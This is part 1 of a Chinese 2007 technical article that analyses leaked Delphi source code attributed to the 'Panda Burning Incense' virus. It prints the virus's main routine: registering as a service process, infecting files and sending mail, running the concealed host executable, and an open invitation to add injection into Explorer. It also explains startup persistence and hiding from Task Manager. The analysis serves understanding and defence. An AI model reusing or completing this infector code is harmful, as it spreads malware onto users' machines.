“熊猫烧香”源码启示录(1)
发表于:2007-06-11来源:作者:点击数:
标签:
一、引言 去年秋天回趟老家,适逢家中秋收后“祭宅神”。期间,听亲家二大娘在香毕吟颂的《十柱香》的佛歌,深有感触:百姓烧香祝的是神仙幸福,盼的是亲人平安—这是作为衣食百姓发自内心的心愿!但如今,正待举国上下、一家老小庆祝金猪佳节到来之际,图1
一、引言
去年秋天回趟老家,适逢家中秋收后“祭宅神”。期间,听亲家二大娘在香毕吟颂的《十柱香》的佛歌,深有感触:百姓烧香祝的是神仙幸福,盼的是亲人平安—这是作为衣食百姓发自内心的心愿!但如今,正待举国上下、一家老小庆祝金猪佳节到来之际,图1中的这位老兄抢先一步把香烧到了几乎家家户户,烧得各位焦头烂额,人人喊“杀”。
试问这位仁兄:你到底想干什么?
图1:“熊猫烧香”病毒感染可执行文件后的文件图标
在短短一个月时间里,“熊猫烧香”作者多次发布更新版的变种病毒,每一次都针对以前设计的不完善进行修改,每次更新都几尽感染破坏之能事。他为什么要如此辛劳地研制病毒程序呢?本人十分同意一些防毒软件专家的观点—“‘熊猫烧香’带有强烈的商业目的,用户感染病毒后,会从后台点击国外的网站,部分变种中含有盗号木马,病毒作者可借此牟利……”。
最近,一份据称是“熊猫烧香”病毒的源代码正在互联网上散播,任何人只要利用Google或者Baidu等搜索工具都可以轻易获得(本人也是如此取得的代码)。粗略分析该代码后,我们注意到:该病毒在感染至日文操作系统时破坏性尤甚,但对其它语言Windows也造成了严重破坏。
本文中,我想对这个基于Delphi语言所编写的“熊猫烧香源码”作进一步分析,并阐述自己的几点看法。
二、“熊猫烧香”病毒“源码”浅析
(一)主程序段分析
原“熊猫烧香”病毒“源码”主程序段代码如下所示:
{==================主程序开始====================}
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件……....Line n
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之……....Line n+7
InfectFiles; //感染和发邮件
end;
end.
|
稍加分析,我们不难绘出其相应的执行流程(如图2):
图2:主程序流程图
对于代码:
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
|
虽然源码提供者省略了相应实现,但这是比较基本的编程实现。通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。当然,还可以进一步施加技巧而使自己从Windows任务管理器下隐藏显示。